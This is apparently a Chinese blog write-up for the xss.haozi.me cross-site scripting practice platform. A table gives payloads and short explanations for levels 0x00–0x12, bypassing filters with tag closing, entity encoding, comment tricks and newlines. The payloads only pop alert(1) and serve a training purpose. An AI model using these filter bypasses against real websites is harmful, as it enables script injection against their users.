

# xss.haozi练习平台wp

原创

mmzkyl 于 2021-03-28 20:40:54 发布 94 收藏

分类专栏: [web安全成长之路](#) 文章标签: [信息安全](#) [xss](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/mmzkyl/article/details/115285288>

版权



[web安全成长之路](#) 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

## 前言

这里的Payload仅仅为一种思路, 还有着很多其他绕过方法

练习平台

## writup

关卡	Payload	说明
0x00	<code>&lt;svg src=x onload=alert(1)&gt;</code>	没有什么过滤, 直接弹框即可
0x01	<code>&lt;/textarea&gt;&lt;svg onload="alert(1)"&gt;</code>	在<textarea></textarea>标签之中的标签是不会被解析到DOM树中, 所以需要先闭合/
0x02	<code>"&gt;&lt;svg src=x onload=alert(1)&gt;</code>	直接闭合前面的标签即可
0x03	<code>&lt;svg src=x onload=alert`1`&gt;</code> 或者 <code>&lt;svg src=x onload=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;</code>	此处使用正则进行过滤, 可以使用反单引号 ( ` ) 来进行绕过 也可通过HTML实体编码来进行绕过
0x04	<code>&lt;svg src=x onload=alert&amp;#40;1&amp;#41;&gt;</code>	此处使用HTML实体编码进行绕过
0x05	<code>!&gt;&lt;svg src=x onload=alert&amp;#40;1&amp;#41;&gt;</code>	此处使用正则对HTML注释 ( --> ) 进行过滤, 但是可以使用 --!> 来将注释进行闭合
0x06	<code>onclick =alert(1)</code>	此处使用正则对 on事件 进行过滤, 可以通过换行来进行绕过
0x07	<code>&lt;svg onload="alert(1)"</code>	此处过滤了尖括号之间的字符, 不过由于浏览器的兼容性, 反尖括号 ( > ) 可以省略, 从而进行绕过
0x08	<code>&lt;/style &gt; &lt;script&gt;alert(1)&lt;/script&gt;</code>	通过换行进行绕过, 从而闭合<style>标签, 进而完成弹框
0x09	<code>https://www.segmentfault.com111" onerror="alert(1)</code>	输入正确地址, 使用双引号 ( " ) 将前面事件闭合即可
0x0A	<code>https://www.segmentfault.com@xss.haozi.me/j.js</code>	使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址

关卡	Payload	说明
0x0B	<code>&lt;img src="" onerror="&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;"&gt;</code>	使用HTML实体编码进行绕过
0x0C	<code>&lt;img src="" onerror="&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;"&gt;</code>	使用HTML实体编码进行绕过
0x0D	<code>alert(1) --&gt;</code>	先使用回车（换行）逃逸出注释范围，然后再使用 --> 将多余的 ' ) 进行注释即可
0x0E	<code>&lt;[cript src="" onerror="&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;"&gt;</code>	脑洞题，[ 大写后为 S（[ 不等于s）
0x0F	<code>');alert('1</code>	看起来使用了HTML实体编码来防止xss，但是了解浏览器解析规则（顺序）即可知道在属性值中的HTML实体编码会被浏览器成功解析，所以此处的HTML实体编码毫无用处
0x10	<code>alert(1)</code>	直接输入即可
0x11	<code>");alert("1</code>	此处过滤后得到的字符其实还与原字符有着相同的作用（例如： " 被换成了 \"，其实真正被转义的字符是第二个 \"，而不是 \"），所以此处的过滤也是毫无用处
0x12	<code>");&lt;/script&gt;&lt;script&gt;alert(1)//</code>	与上一关卡同理，此处的过滤也是毫无用处